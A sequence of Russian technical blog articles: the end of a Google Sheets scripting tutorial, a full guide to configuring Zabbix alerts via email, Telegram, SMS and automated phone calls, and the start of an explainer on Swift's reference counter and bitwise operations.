workSheet.getRange(i, 3).setFormula("=(ARRAYFORMULA(SUMIF('Аккаунт для рассылки'!$A:$A&'Аккаунт для рассылки'!$A$1; $A" + i + "&$B$1; 'Аккаунт для рассылки'!C:C)))");
workSheet.getRange(i, 4).setFormula("=Report_Тематика!F" + rew);
workSheet.getRange(i, 5).setFormula("=Report_Тематика!E" + rew);
workSheet.getRange(i, 6).setFormula("=Report_Тематика!D" + rew);
}
}
```
Для того, чтобы в меню была кнопка, допишем маленький код:
```
function onOpen()
{
SpreadsheetApp.getActiveSpreadsheet().addMenu("Копаем?", [{name: "Копаем!", functionName: "myFunction"}]);
}
```
Теперь не надо заходить в скрипт каждый раз, когда надо совершить подсчет. Просто нажмем на кнопку “Копать” и ждем результата.
Для автоматизации процесса запуска скрипта также можно использовать тригерры, которые настраиваются в редакторе скриптов (Ресурсы — Тригерры текущего скрипта).
Должна появиться вот такая таблица, нажимаем на ссылку “Добавить” и выставляем следующие параметры.
Теперь скрипт будет выполняться автоматически без вашего участия каждые 2 часа. Настраивать можно по-разному.
Можно прописать формулы вручную, но когда у тебя не один лист, а 20 и больше, можно с легкостью допустить ошибку при составлении тех же формул.
Единственное, чего не хватает в нашем скрипте, так это параметра “только значения”, который необходим для того, чтобы не нагружать документ формулами.
Таблица с аккаунтом и критериями — [Аккаунт](https://docs.google.com/spreadsheet/ccc?key=0ArJ3TrTw5_iGdDJyaXJrZzl3ajlCVmxwMHAwdkpBVWc)
Таблица сводная — Сводная
Единственный минус данной статистики, это необходимость проставлять даты вручную. Если кто-то предложит автоматизацию процесса проставления даты, без учета выходных, будем благодарны вам за помощь.
Вот и все, что мы смогли рассказать вам об организации статистики с онлайн доступом.
Пользуйтесь файлами, учитесь, делитесь ссылками с друзьями.
Ждем ваших отзывов.
С уважением, Антон. | https://habr.com/ru/post/144880/ | null | ru | null |
# Настройка оповещений о событиях в Zabbix
В предыдущих статьях серии про Zabbix мы рассказывали о том, как контролировать различное оборудование и сервисы. Однако не менее важно настроить оповещения о событиях, требующих реакции со стороны системного администратора.
В этой статье мы расскажем о том, как настроить отправку сообщений о срабатывании триггеров Zabbix по электронной почте, через SMS и Телеграм. Вы также научите свой Zabbix звонить администратору по телефону и сообщать о критических событиях синтезированным голосом с помощью сервиса голосовых рассылок Звонобот.
Отправка сообщений по электронной почте
---------------------------------------
Для того чтобы Zabbix мог отправлять сообщения по электронной почте, необходимо сделать следующее:
* настроить способы оповещений Media Types;
* назначить Media с типом Email пользователю Zabbix;
* добавить действие при срабатывании триггера Trigger Action
Расскажем об этом подробнее.
### Настройка способов оповещений Media Types
Если в Web-интерфейсе Zabbix выбрать **Media Types** из меню **Administration**, вы увидите многочисленные способы оповещений, доступные для настройки в Zabbix. Часть из них показана на рис. 1.
Рис. 1. Способы оповещений в ZabbixМы будем использовать готовые способы оповещений **Email** и **Telegram**, а также создадим собственные — [**p1sms.ru**](http://p1sms.ru) (для отправки SMS) и **Zvonobot** (для голосовых сообщений по телефону).
Если вы находитесь там, где есть интернет, то сможете получать сообщения через Email и Telegram. Но бывает и так, что доступны только SMS и голосовые звонки. Чтобы не пропустить важные сообщения от Zabbix, пригодятся все эти способы.
Чтобы настроить отправку электронной почты, щелкните на странице **Media Types** строку **Email**. Далее вам нужно будет заполнить форму, указав в ней параметры исходящего почтового сервера (рис. 2).
Рис. 2. Настройка способа оповещения Email (домен указан только для примера)Мы показали случай, когда используется собственный почтовый сервер, доступный на порту 25 с использованием STARTTLS. Сообщения будут отправлены на адрес [admin@my-domain.ru](mailto:admin@my-domain.ru) (имя домена приведено только для примера).
В ответственных случаях безопаснее использовать собственный почтовый сервер, который находится под вашим контролем. При необходимости можно настроить отправку почты и через публичные почтовые сервисы, такие как Google Mail или Яндекс Почту. Помимо официальной документации в интернете есть инструкции по настройке, например, [здесь](https://aeb-blog.ru/monitoring/zabbix-opoveshheniya-cherez-storonnij-smtp/).
Настроив способ оповещения Email, выполните проверку с помощью ссылки **Test**, расположенной справа напротив Email в списке способов оповещений, показанном на рис. 1.
Щелкните эту ссылку и заполните форму, указав в ней адрес получателя **Send to**, тему сообщения **Subject** и текст сообщения **Message**. Затем щелкните кнопку **Test** (рис. 3).
Рис. 3. Отправка тестового сообщения через способ оповещения EmailЕсли настройки почтового сервера указаны правильно, вы получите сообщение на указанный адрес электронной почты.
На вкладке **Message Templates** можно изменить стандартные шаблоны сообщений, отправляемых по электронной почте.
### Назначение Media с типом Email пользователю Zabbix
Чтобы способ оповещения заработал, его нужно назначить пользователю Zabbix, например, Admin.
Выберите в меню **Administration** раздел **Users**, щелкните имя пользователя **Admin**, а затем откройте вкладку **Media**. На рис. 4 мы показали ситуацию, когда для пользователя было добавлено несколько способов оповещения, в том числе и способ **Email**.
Рис. 4. Способы оповещения для пользователя AdminДля добавления способа оповещения Email щелкните ссылку **Add**. В списке **Type** выберите строку **Email**.
В поле **Send to** укажите адрес электронной почты, по которому должно отправляться оповещение. С помощью поля **When active** можно ограничить дни и часы отправки сообщений.
Набор флажков **Use if severity** позволяет задать уровни серьезности триггеров, при срабатывании которых необходимо отправить сообщение по указанному адресу (рис. 5).
Рис. 5. Добавление способа оповещенияВ нашем случае сообщения отправляются по электронной почте круглосуточно, причем при срабатывании триггера с любым уровнем серьезности.
Если нужно отредактировать или удалить способ оповещения, воспользуйтесь ссылкой **Edit** или **Remove**, соответственно (рис. 4).
### Добавление действий при срабатывании триггера Trigger Actions
Итак, мы настроили и проверили способ оповещения Email, а также добавили его для пользователя Admin.
Теперь нужно добавить действие при срабатывании триггера. Для этого в меню **Configuration** выберите меню **Action**, а из него — строку **Trigger Actions**.
На рис. 6 показан уже сформированный список действий для различных способов оповещений.
Рис. 6. Список действий для различных способов оповещенийЗдесь действие **zabbix03 action**, заключающееся в отправке сообщения по электронной почте, выполняется для всех уровней серьезности, кроме Disaster. Действие **SMS Notify** выполняется при срабатывании триггеров с уровнем серьезности High и Disaster. И, наконец, действие **DISASTER\_ALERT\_Phone\_CALL** определено для звонков по телефону при срабатывании триггеров уровня Disaster.
Чтобы создать новое действие, воспользуйтесь кнопкой **Create action** на странице **Trigger Actions**. Вам будет предложено добавить действие на вкладке **Action** (рис. 7).
Рис. 7. Редактирование добавленного действияЗадайте имя действия, а затем щелкните ссылку **Add**, чтобы добавить операцию. При добавлении выберите в списке **Type** уровень серьезности триггера **Trigger severity**. Чтобы сообщение электронной почты отправлялось для любого уровня серьезности, кроме Disaster, выберите значения полей **Operator** и **Severity**, как это показано на рис. 8.
Рис. 8. Добавление нового условия выполнения действияДалее для добавленного действия на вкладке **Operations** необходимо добавить операции. На рис. 9 три операции уже добавлены.
Рис. 9. Добавление операцийДля добавления операции воспользуйтесь ссылкой **Add**. Здесь можно добавить операции, которые будут выполнены при срабатывании триггера, при восстановлении его состояния (поле **Recovery operations**), а также при обновлении состояния (поле **Update operations**).
На рис. 10 мы показали форму редактирования уже добавленной операции.
Рис. 10. Редактирование операцииЗдесь как минимум необходимо выбрать пользователя в поле **Send to users** и способ извещения **Email** в поле **Send only to**.
Вы также можете отредактировать шаблон темы сообщения **Subject** и шаблон сообщения **Message**, отметив флажок **Custom message**. Если этого не сделать, будут использованы шаблоны сообщения по умолчанию, определенные в способе оповещения Email.
Официальная документация, имеющая отношение к настройке отправки сообщений по электронной почте, находится здесь:
* [конфигурирование способа оповещения Email](https://www.zabbix.com/documentation/current/en/manual/config/notifications/media/email) ([на русском языке](https://www.zabbix.com/documentation/6.0/ru/manual/config/notifications/media/email) для версии 6.0);
* [настройка действий](https://www.zabbix.com/documentation/current/en/manual/config/notifications/action) ([на русском языке](https://www.zabbix.com/documentation/6.0/ru/manual/config/notifications/action))
Отправка сообщений в Telegram
-----------------------------
Сервер Zabbix версии 6.2 содержит встроенную поддержку отправки сообщений в мессенджер Telegram, основанную на использовании Telegram Bot API и Zabbix webhook.
Мы расскажем о том, как настроить отправку персональных сообщений. Если нужно отправлять сообщения в группу Telegram, то соответствующий способ настройки описан в [официальной документации Telegram webhook](https://www.zabbix.com/ru/integrations/telegram#telegram), а также в [статье](https://serveradmin.ru/nastroyka-opoveshheniy-zabbix-v-telegram/).
### Создание бота
Прежде всего создайте новый бот с помощью бота [@BotFather](/users/BotFather). Для этого отправьте боту [@BotFather](/users/BotFather) команду "/newbot". Вам будет предложено ввести имя для нового бота, а также имя пользователя.
Результат показан на рис. 11 (имена и токен приведены только для примера).
Рис. 11. Регистрация нового бота (имена и токен приведены только для примера)Для настройки отправки сообщений в Telegram вам потребуется токен HTTP API, выделенный на рис. 11 рамкой красного цвета, а также идентификатор пользователя Telegram, который будет получать оповещения из Zabbix.
### Получение идентификатора пользователя Telegram
Свой идентификатор пользователя Telegram можно получить с помощью бота [@myidbot](/users/myidbot), доступный по ссылке <https://t.me/myidbot>.
Запустите этот бот и введите ему команду "/getid". В ответ вы получите собственный идентификатор (рис. 12, идентификатор показан только для примера).
Рис. 12. Получение собственного идентификатора (идентификатор показан только для примера)### Запуск бота
Получив идентификатор, подключитесь к боту, созданному на предыдущей шаге, и выдайте ему команду "/start". Это необходимо, чтобы бот смог отправлять вам сообщения.
### Добавление способа оповещений Telegram
Теперь в Web-интерфейсе Zabbix откройте меню **Administration**, выберите из него строку **Media Types**, а затем найдите и щелкните ссылку **Telegram**.
ваш идентификатор, полученный от бота [@myidbot](/users/myidbot), а в поля Скопируйте токен, полученный от бота [@BotFather](/users/BotFather) при создании вашего бота, в поле **Token**, а затем щелкните кнопку **Update** (рис. 13, токен приведен только для примера).
Рис. 13. Копирование токена при настройке способа оповещения Telegram (токен приведен только для примера)Добавив способ оповещения, протестируйте его с помощью ссылки **Test**.
При тестировании в поле **Token** уже должен находиться токен вашего бота. Скопируйте в поле **To** ваш идентификатор, полученный от бота [@myidbot](/users/myidbot), а в поля **Subject** и **Message** — тему и текст сообщения, соответственно.
Если все будет хорошо, вы увидите сообщение об успешном тестировании (рис. 14).
Рис. 14. Тестирование способа оповещения TelegramВы также получите тестовое сообщение в Telegram (рис. 15).
Рис. 15. Получено тестовое сообщение в TelegramЕсли все в порядке, можно переходить к назначению настроенного способа оповещения Telegram пользователю Zabbix, а также к добавлению этого способа к существующему или новому действию.
### Назначение типа оповещения Telegram пользователю
Ранее вы уже назначали тип оповещения Email пользователю Admin. Теперь нужно повторить эту операцию для типа оповещения Telegram.
Откройте вкладку **Media**, выбрав в меню **Administration** раздел **Users** и щелкнув имя пользователя **Admin**. Далее воспользуйтесь ссылкой **Add**, чтобы добавить новый тип оповещения.
Выберите в списке **Type** способ **Telegram**, а в поле **Send To** идентификатор пользователя Telegram, который мы получили раньше от бота [@myidbot](/users/myidbot).
С помощью флажков **Use if severity** укажите серьезность триггеров, при срабатывании которых нужно отправлять сообщения в Telegram. На рис. 16 показана установка флажков для случая, когда в Telegram требуется отправка для уровней от средней (**Average**) до катастрофической (**Disaster**).
Рис. 16. Настройка типа оповещения для Telegram при назначении пользователю Zabbix### Добавление оповещения в Telegram для действия при срабатывании триггера
На следующем шаге в меню **Configuration** выберите меню **Action**, а потом из него — строку **Trigger Actions**. Затем откройте вкладку **Operations** (рис. 17).
Рис. 17. Вкладка Operations с добавленными операциямиНа вкладке **Operations** с помощью ссылки **Add** добавьте новую операцию, выбрав из списка **Send to users** пользователя **Admin**, а из списка **Send only to** — строку **Telegram** (рис. 18).
Рис. 18. Добавление операции отправки в TelegramТеперь при выполнении действия вы получите сообщение о срабатывании триггера (а также о восстановлении его состояния) в мессенджер Telegram.
### Красивые сообщения в Telegram с использованием Emoji
Вы можете «оживить» сообщения, отправляемые сервером Zabbix в Telegram с помощью символов Emoji (рис. 19).
Рис. 19. Добавление символов Emoji в сообщения от ZabbixЧтобы это сделать, добавьте символы Emoji в тему **Subject** для шаблонов сообщений способа оповещений Telegram, доступных на вкладке **Message templates** (рис. 20).
Рис. 20. Шаблоны сообщений для TelegramСимволы Emoji можно скопировать через буфер обмена Clipboard со страницы <https://apps.timwhitlock.info/emoji/tables/unicode>, а затем вставить их в нужное место шаблона (рис. 21).
Рис. 21. Вставка символа Emoji в поле Subject шаблона сообщения для TelegramСимволы Emoji полезны, так как привлекут ваше внимание к важным сообщениям.
Отправка SMS из Zabbix
----------------------
В сервере Zabbix среди встроенных способов оповещений Media Types есть отправка SMS. Однако этот способ требует наличия GSM модема, подключенного к последовательному порту сервера Zabbix, о чем написано в [документации](https://www.zabbix.com/documentation/6.2/en/manual/config/notifications/media/sms).
У нас не было желания искать совместимый GSM модем, приобретать его и размещать в дата-центре. Поэтому мы решили использовать для отправки SMS один из многочисленных онлайн-сервисов, специализирующихся на решении этой задачи.
### Выбор сервиса для отправки SMS
Как оказалось, отправка SMS через онлайн-сервисы стоит заметных денег, причем для некоторых операторов мобильной связи есть еще и ежемесячная абонентская плата. Стоимость отправки SMS на момент написания этой статьи составляла от 5 руб. до 20 руб. за одно сообщение.
Некоторые сервисы допускают отправку SMS без абонентской платы, однако не для всех операторов мобильной связи (например, <https://sms.ru/>).
В итоге был выбран сервис P1SMS <https://p1sms.ru/>. После настройки шаблона сообщений удалось отключить модерацию и отравлять сообщения по цене 5 руб. за штуку. Если в вашей информационной системе критичные ошибки не идут большим потоком, то это может быть разумным выбором.
Как мы уже говорили, доставка оповещений через SMS будет работать даже в том случае, если в зоне нахождения вашего смартфона нет интернета (или он очень дорогой), но есть мобильная связь.
### Скрипт отправки SMS через P1SMS
Zabbix позволяет вам создавать собственные способы оповещения, основанные на вызове скриптов. Это описано в [документации](https://www.zabbix.com/documentation/current/en/manual/config/notifications/media/script) ([на русском языке](https://www.zabbix.com/documentation/6.0/ru/manual/config/notifications/media/script) для версии 6.0).
Для отправки SMS мы подготовили скрипт, которой требует небольшого редактирования. Вам потребуется изменить в нем АПИ-ключ и номер телефона, на который будут отправляться сообщения от Zabbix.
Чтобы получить АПИ-ключ, зарегистрируйтесь на сайте P1SMS по адресу <https://p1sms.ru/>. Ключ можно скопировать на странице <https://admin.p1sms.ru/panel/apiinfo>.
Далее создайте на сервере Zabbix каталог `/usr/lib/zabbix/alertscripts` для скриптов добавляемых способов оповещения. Отредактируйте файл `/etc/zabbix/zabbix_server.conf`, удалив символ комментария со строки:
```
AlertScriptsPath=/usr/lib/zabbix/alertscripts
```
Затем сохраните файл конфигурации zabbix\_server.conf, перезапустите сервис Zabbix и убедитесь, что он работает:
```
# systemctl restart zabbix-server
# systemctl status zabbix-server
```
Скрипт отправки SMS нужно скачать [по этому адресу](https://github.com/AlexandreFrolov/shop2you_zabbix_monitoring/blob/main/p1sms_free.pl).
Переименуйте его в [p1sms.pl](http://p1sms.pl) и запишите в каталог `/usr/lib/zabbix/alertscripts`.
Сделайте владельцем скрипта пользователя zabbix и разрешите запуск скрипта:
```
# chown zabbix:zabbix /usr/lib/zabbix/alertscripts/p1sms.pl
# chmod +x /usr/lib/zabbix/alertscripts/p1sms.pl
```
Проверьте, что владелец и права установлены правильно:
```
# ls -lh /usr/lib/zabbix/alertscripts/p1sms.pl
-rwxr-xr-x 1 zabbix zabbix 2.1K Oct 18 13:06 /usr/lib/zabbix/alertscripts/p1sms.pl
```
Найдите в скрипте [p1sms.pl](http://p1sms.pl) функцию sendp1sms и отредактируйте в ней две строки:
```
my $api_key = '*************';
my $phone_number = '';
```
Укажите здесь свой API-ключ сервиса P1SMS и номер мобильного телефона для отправки SMS в формате 7хххххххххх.
### Добавление способа оповещения p1sms.ru
Откройте в Web-интерфейсе Zabbix меню **Administration**, выберите из него строку **Media Types**, а затем щелкните кнопку **Create media type**. Появится страница добавления нового способа оповещения, которую вам нужно заполнить, как это показано на рис. 22.
Рис. 22. Добавление способа оповещения ScriptВ поле **Name** введите название способа оповещения [**p1sms.ru**](http://p1sms.ru), а затем выберите из списка **Type** строку **Script**. Укажите имя скрипта [**p1sms.pl**](http://p1sms.pl) в поле **Script name**.
Далее добавьте в поле **Script parameters** три параметра: {ALERT.SENDTO}, {ALERT.SUBJECT} и {ALERT.MESSAGE} (именно в этом порядке). Должно получиться так, как показано на рис. 22. Сохраните изменения.
### Добавление шаблона сообщений SMS
Мы будем отправлять SMS при недоступности контролируемых серверов с помощью шаблона **ICMP Ping**, который есть среди готовых шаблонов Zabbix. Вам нужно добавить этот шаблон ко всем серверам, которые вы собираетесь контролировать. Установите в этом шаблоне для метрики **Unavailable by ICMP ping** уровень серьезности **Disaster**.
Для добавления шаблона на сервис P1SMS откройте [раздел редактирования шаблонов без модерации](https://admin.p1sms.ru/panel/moderationFreeTemplates). Он доступен в разделе **Управление**, строка **Шаблоны без модерации**.
Добавьте здесь такой шаблон с помощью кнопки **СОЗДАТЬ ШАБЛОН**:
```
ICMP ping %w Down (0)
```
Добавленный шаблон показан на рис. 23.
Рис. 23. Добавлен шаблон без модерацииИнструкция по составлению шаблонов появится на странице добавления шаблона после того, как вы щелкните кнопку **СОЗДАТЬ ШАБЛОН**.
Шаблоны без модерации нужны для ускорения отправки SMS через сервис P1SMS. Если таких шаблонов нет, или если отправляемое сообщение не будет соответствовать шаблону, SMS попадет на модерацию и может быть задержано на время до 10 минут. Так как нам нужно узнать о проблеме как можно скорее, придется использовать шаблоны.
После добавления шаблона дождитесь, когда он пройдет модерацию. При необходимости вы можете связаться со службой поддержки через онлайн-чат на сайте P1SMS.
Далее протестируйте добавленный способ оповещений с помощь кнопки **Test** в разделе **Media Types**. Используйте здесь сообщение, подходящее под шаблон, например «ICMP ping ([hcp2.user-domain.ru](http://hcp2.user-domain.ru):icmpping): Down (0)» (рис. 24).
Рис. 24. Тестирование способа оповещения p1sms.ruСостояние отправки SMS вы можете узнать на сайте P1SMS в разделе **Отчеты**, выбрав из меню строку **Отправленные СМС**.
### Назначение типа оповещения p1sms.ru пользователю
После успешного тестирования назначьте тип оповещения [**p1sms.ru**](http://p1sms.ru) пользователю **Admin**, как вы это делали раньше. В нашем случае установлены флажки для отправки SMS при уровне серьезности от высокой (**High**) до катастрофической (**Disaster**).
### Добавление действия для отправки SMS
Также не забудьте добавить действие для отправки SMS. Для этого в меню **Configuration** выберите меню **Action**, и далее строку **Trigger Actions**.
Щелкните кнопку **Create action**, а затем добавьте действие **SMS Notify**, как это показано на рис. 25.
Рис. 25. Добавление действия SMS NotifyДобавьте операцию на вкладке **Operations** (рис. 26).
Рис. 26. Добавление операции для отправки SMSДля того чтобы отправляемое сообщение соответствовало шаблону без модерации, настройте операцию с помощью ссылки **Edit**.
У сообщения должна быть тема {[TRIGGER.NAME](http://TRIGGER.NAME)}:, а само сообщение должно выглядеть так:
```
{ITEM.NAME1} ({HOST.NAME1}:{ITEM.KEY1}): {ITEM.VALUE1}
```
Кроме того, выберите в поле **Send to users** пользователя **Admin**.
Настроенная операция показана на рис. 27.
Рис. 27. Настроенная операция### Тестирование отправки SMS при недоступности сервера
Для тестирования используйте какой-нибудь некритичный сервер, например, виртуальную машину, которую можно безопасно останавливать и запускать заново. Добавьте ее в узлы на сервере Zabbix и подключите шаблон **ICMP Ping**. Установите в этом шаблоне для метрики **Unavailable by ICMP ping** уровень серьезности **Disaster**.
Теперь, если вы завершите работу этой машины, то получите сообщение SMS (рис. 28).
Рис. 28. Пример сообщения SMS о недоступности узлаSMS выглядят не так красиво, как сообщения в Telegram, однако они придут туда, где нет интернета.
Оповещение от Zabbix по телефону
--------------------------------
Сообщение SMS легко пропустить, а вот на вызов по телефону вы скорее всего отреагируете (конечно, если в смартфоне не отключен звук).
Для повышения вероятности реагирования настроим отправку оповещений о катастрофических проблемах уровня Disaster голосовым звонком на телефон с использованием сервиса [Звонобот](https://zvonobot.ru/).
Настройка голосовых звонков аналогична только что рассмотренной настройке для SMS, поэтому мы остановимся только на основных моментах.
Прежде всего, мы сделаем так, чтобы звонок поступал не сразу после обнаружения аварии, а через 10 минут. Дело в том, что часто недоступность сервера может быть кратковременной, после чего все восстанавливается само по себе, и звонить будет уже не нужно. Так бывает, например, при возникновении непродолжительных проблем в сети или при временной потере связности дата-центров.
Кроме того, если становятся недоступными сразу несколько серверов, нам достаточно получить только один звонок по телефону. И еще не повредит повторный звонок через полчаса, если в первый раз дозвониться не удалось.
### Добавление способа оповещения Zvonobot
Добавьте в **Media types** новый способ оповещения **Zvonobot**, аналогично тому, как мы добавляли способ [**p1sms.ru**](http://p1sms.ru) (рис. 29).
Рис. 29. Добавление способа оповещения ZvonobotВыберите в списке **Type** строку **Script**, а в поле **Script name** введите имя скрипта [zvonobot.pl](http://zvonobot.pl). Кроме того, добавьте параметры, как это показано на рис. 29.
Скрипт [zvonobot.pl](http://zvonobot.pl) можно скачать [здесь](https://github.com/AlexandreFrolov/shop2you_zabbix_monitoring/blob/main/zvonobot_free.pl).
Не забудьте переименовать скрипт перед его размещением в каталоге `/usr/lib/zabbix/alertscripts`.
Сделайте владельцем скрипта пользователя zabbix и разрешите запуск скрипта:
```
# chown zabbix:zabbix /usr/lib/zabbix/alertscripts/zvonobot.pl
# chmod +x /usr/lib/zabbix/alertscripts/zvonobot.pl
```
Проверьте, что владелец и права установлены правильно:
```
ls -lh /usr/lib/zabbix/alertscripts/zvonobot.pl
-rwxr-xr-x 1 zabbix zabbix 4.8K Oct 17 15:40 /usr/lib/zabbix/alertscripts/zvonobot.pl
```
Отредактируйте в скрипте три строки:
```
my $api_key = '';
my $phone_number = '';
my $outgoingPhone = '';
```
Ключ $api\_key можно получить по адресу: <https://lk.zvonobot.ru/panel/profile> в личном кабинете после регистрации в сервисе Звонобот.
Для работы скрипта [zvonobot.pl](http://zvonobot.pl) нужно установить на сервер Zabbix memcached, а также необходимые модули Perl:
* LWP::UserAgent
* HTTP::Request
* JSON
* Data::Dumper
Вам также потребуется два номера телефона. В переменную $phone\_number запишите номер телефона, на который будет звонить Zabbix при обнаружении катастрофической проблемы (в формате 7\*\*\*\*\*).
Второй номер телефона запишите в переменную $outgoingPhone. Телефон с этим номером потребуется вам всего один раз для получения SMS от сервиса Звонобот. Звонки будут поступать именно от этого исходящего номера, поэтому вам их будет легко идентифицировать. Исходящий номер должен быть добавлен как личный и подтвержден в разделе **ДРУГОЕ** — **Номера телефонов** личного кабинета <https://lk.zvonobot.ru/panel/phones>.
После добавления способа оповещения Zvonobot протестируйте его с помощью ссылки **Test**. В поле **Send to** укажите номер телефона, на который должны приходить звонки от Zabbix (рис. 30).
Рис. 30. Тестирование способа оповещения ZvonobotПри успешном тестировании вы получите звонок, и робот произнесет синтезированным голосом текст сообщения **Message**, а также тему **Subject**.
### Назначение способа оповещения Zvonobot пользователю Zabbix
Выберите в меню **Administration** раздел **Users**, щелкните имя пользователя **Admin**, а затем откройте вкладку **Media**. Добавьте способ оповещения Zvonobot, как это было показано ранее на рис. 4.
В поле **Use if severity** отметьте флажок **Disaster**, чтобы звонки поступали только при самых серьезных проблемах.
### Добавление типа оповещения в действия
Добавьте действия для способа Zvonobot. Как и раньше, в меню **Configuration** выберите меню **Action**, далее строку **Trigger Actions**, а затем щелкните кнопку **Create action**.
Мы создали действие DISASTER\_ALERT\_Phone\_CALL, определив для него сразу две операции, имеющие отношение к способу Zvonobot (рис. 31).
Рис. 31. Операции для ZvonobotОбратите внимание, что в поле **Steps** мы указали шаг эскалации 2-2, а в поле **Step duration** (длительность шага эскалации) — значение 20 минут (рис. 32).
Рис. 32. Настройка операции для ZvonobotНа рис. 31 видно, что сразу после возникновения проблемы категории Disaster сообщение отправляется в Telegram, затем на электронную почту (шаг эскалации 1-1). Еще через 10 минут выполняется звонок через сервис Звонобот (шаг 2-2), который потом повторяется через 30 минут (шаг 3-3).
Когда сработают все шаги эскалации, на основной панели Zabbix Global View можно будет увидеть время и результат завершения каждого шага (рис. 33).
Рис. 33. Время и результат завершения шагов эскалацииПрименение эскалации описано в [документации](https://www.zabbix.com/documentation/current/en/manual/config/notifications/action/escalations) (для версии 6.0 [на русском языке](https://www.zabbix.com/documentation/6.0/ru/manual/config/notifications/action/escalations)).
### Исключение повторных звонков
Чтобы исключить повторные звонки, которые могут поступить при одновременном отказе нескольких контролируемых хостов, в скрипте [zvonobot.pl](http://zvonobot.pl) вызывается функция not\_recently\_called:
```
if(not_recently_called(20*60))
{
phone_call_zvonobot($api_url, $api_key, $phone_number, $outgoingPhone, $message);
}
```
Она создает в memcached ключ “Zabbix\_phone\_monitor” со значением “Phone was called”, который будет автоматически удален по истечении заданного времени (в нашем случае через 20 минут).
*Автор: Александр Фролов.* | https://habr.com/ru/post/696402/ | null | ru | null |
# Как устроен счетчик ссылок в Swift
Мы в iOS команде Vivid Money стремимся глубже понимать инструменты, которыми пользуемся каждый день. Один из таких – это язык программирования Swift. Он состоит из нескольких частей: компилятора, стандартной библиотеки и рантайма. Компилятор преобразует код, понятный для человека, в код понятный компьютеру. Стандартная библиотека предоставляет разработчикам готовые структуры данных и алгоритмы, оптимизированные для применения в боевых проектах. А вот рантайм – это, поистине, сердце языка. В нем происходит выделение памяти, динамическое приведение типов и подсчет ссылок. И нам стало интересно, как реализован подсчет ссылок в рантайме Swift. И вот мы вдохновились [публикациями](https://www.mikeash.com/pyblog/) легендарного Майка Эша (Mike Ash), собрали компилятор и начали исследовать. Посмотрели на работу алгоритма подсчета ссылок и в этой статье расскажем вам о нём.
### План:
1. [Ссылка на объект](#reference_to_object)
2. [Битовое поле и операции над ним](#bitfield_and_operations)
3. [Что такое счетчик ссылок?](#what_is_reference_counter)
4. [Weak ссылки и side table](#weak_and_side_table)
5. [Жизненный цикл объекта](#object_lifecycle)
6. [Флаги в счетчике ссылок](#flags_in_reference_counter)
7. [Заключение](#conclusion)
### Ссылка на объект
В процессе выполнения приложения в памяти создается множество объектов. И если продолжать создавать объекты и не удалять лишние, тогда память закончится. Чтобы этого избежать, нужен алгоритм освобождения памяти. Главный его принцип – это отслеживание достижимости объекта. То есть, когда на объект есть ссылки, то он считается достижимым. А пока на объект хоть кто-то ссылается – значит его нельзя удалять из памяти. И как только пропадет последняя ссылка, то объект уничтожается и освобождается занятая им память. Для отслеживания доступности объекта нужен алгоритм отслеживания активных ссылок. В Swift этот алгоритм реализован в виде механизма автоматического подсчета ссылок. Automatic Reference Counter, или сокращенно ARC – появился еще со времен Objective-C. В его основе счетчик ссылок, который есть у каждого объекта класса.
Ссылки на объект бывают трех типов – strong, weak и unowned. Объект живет в памяти пока на него есть хотя бы одна strong ссылка. И если объекты ссылаются перекрестными сильными ссылками, то они никогда не уничтожаются. Чтобы этого избежать, нужно одним из объектов сослаться weak или unowned ссылкой на другой. Если в момент обращения к weak переменной на объект уже нет strong ссылок, тогда мы получим nil. Апри обращении к unowned будет выброшено исключение. Более подробно разные типы ссылок описаны в этом [разделе](https://docs.swift.org/swift-book/LanguageGuide/AutomaticReferenceCounting.html) официальной документации Swift. А мы же рассмотрим внутреннее устройство счетчика ссылок в следующем разделе.
### Битовое поле и операции над ним
Счетчик ссылок – это битовое поле. Или говоря по другому – это битовый массив. Значения этого массива кодируются в один или несколько битов. А для получения и сохранения значений используются побитовые операции.
Битовые поля применяются для компактного хранения данных. В нашем примере мы будем сохранять целочисленные значения 7 и 13. В двоичной системе счисления число 7 – это 111, а 13 – это 1101. Нумерация битов начинается с нуля и идет справа налево. Мы можем сохранить 7 в первые четыре бита, а 13 в последние четыре бита. Для сохранения значения 7 в битовое поле нужно использовать побитовую операцию ИЛИ. Она обозначается как | и работает так:
```
0000 0000 | 0000 0111 = 0000 0111
```
В начале наше битовое поле размером 1 байт выглядит как 0000 0000. Побитовая операция ИЛИ принимает два битовых поля и поочередно применяет логическую операцию ИЛИ к битам с соответствующими индексами. Например, если оба бита в нулевой позиции равны нулю, тогда и в результирующем битовом поле нулевой бит тоже будет равен нулю. Если один или оба равны единице, тогда и результирующий бит тоже равен единице. Теперь давайте сохраним число 13, которое в двоичной системе счисления равно 1101:
```
0000 0111 | 1101 0000 = 1101 0111
```
В итоге мы получаем битовое поле в котором сохранено два значения. Но как теперь получить их обратно? Рассмотрим на примере числа 13, которое мы сохранили в битовое поле. Мы знаем, что число 13 лежит в последних 4-х битах. И нужно каким-то образом получить значения этих битов. В этом нам поможет побитовая операция И, обозначаемая символом &. Она, как и операция ИЛИ, выполняется над двумя битовыми полями, но к каждому биту применяет операцию логического И. Если оба бита установлены в единицу, тогда и соответствующий результирующий бит тоже будет равен единице. Посмотрим на работу операции побитового И на примере:
```
1101 0111 & 1111 0000 = 1101 0000
```
В результате получилось битовое поле, в котором последние четыре бита такие же, как и в левом битовом поле. То есть мы буквально попросили значения последних четырех битов. Теперь посмотрим на результат 1101 0000. Если перевести его в десятичную систему счисления, то получим число 208. И чтобы получить значение только последних четырех битов, нужно убрать группу нулевых битов. В этом нам поможет операция побитового сдвига вправо. Она обозначается как >> и смещает битовое поле на указанное количество битов вправо:
```
1101 0000 >> 4 = 0000 1101
```
В примере мы видим, что бит, который был в позиции 7 , теперь находится в позиции 3. И вслед за ним переместились и остальные. Их прежние места заняли нулевые биты. Проверяем, что 1101 это 13 в десятичной системе счисления. Благодаря комбинации побитового И вместе со сдвигом вправо, мы извлекли сохраненное значение. Похожим образом получим значение 7:
```
1101 0111 & 0000 1111 = 0111
```
Здесь не используется сдвиг вправо, потому что мы получаем значение из начальных битов. Второй операнд в побитовых операциях еще называют маской. Так как он “накладывается” на первый операнд. И именно от маски зависит правильность сохранения и извлечения данных из битового поля.
В iOS разработке напрямую битовые поля используются редко, но в исходниках Swift встречаются гораздо чаще. А теперь вернемся к счетчику ссылок и применим наши знания о битовых полях.
### Что такое счетчик ссылок?
Это битовое поле, в котором хранится количество strong, unowned и weak ссылок. Но еще там есть вспомогательные биты, значения которых учитываются в процессе подсчета ссылок. В зависимости от разрядности процессора поле будет размером в 32 либо 64 бита. Далее будем рассматривать устройство счетчика на 64 бита. Для 32-х битных есть нюансы, но общие подходы не меняются.
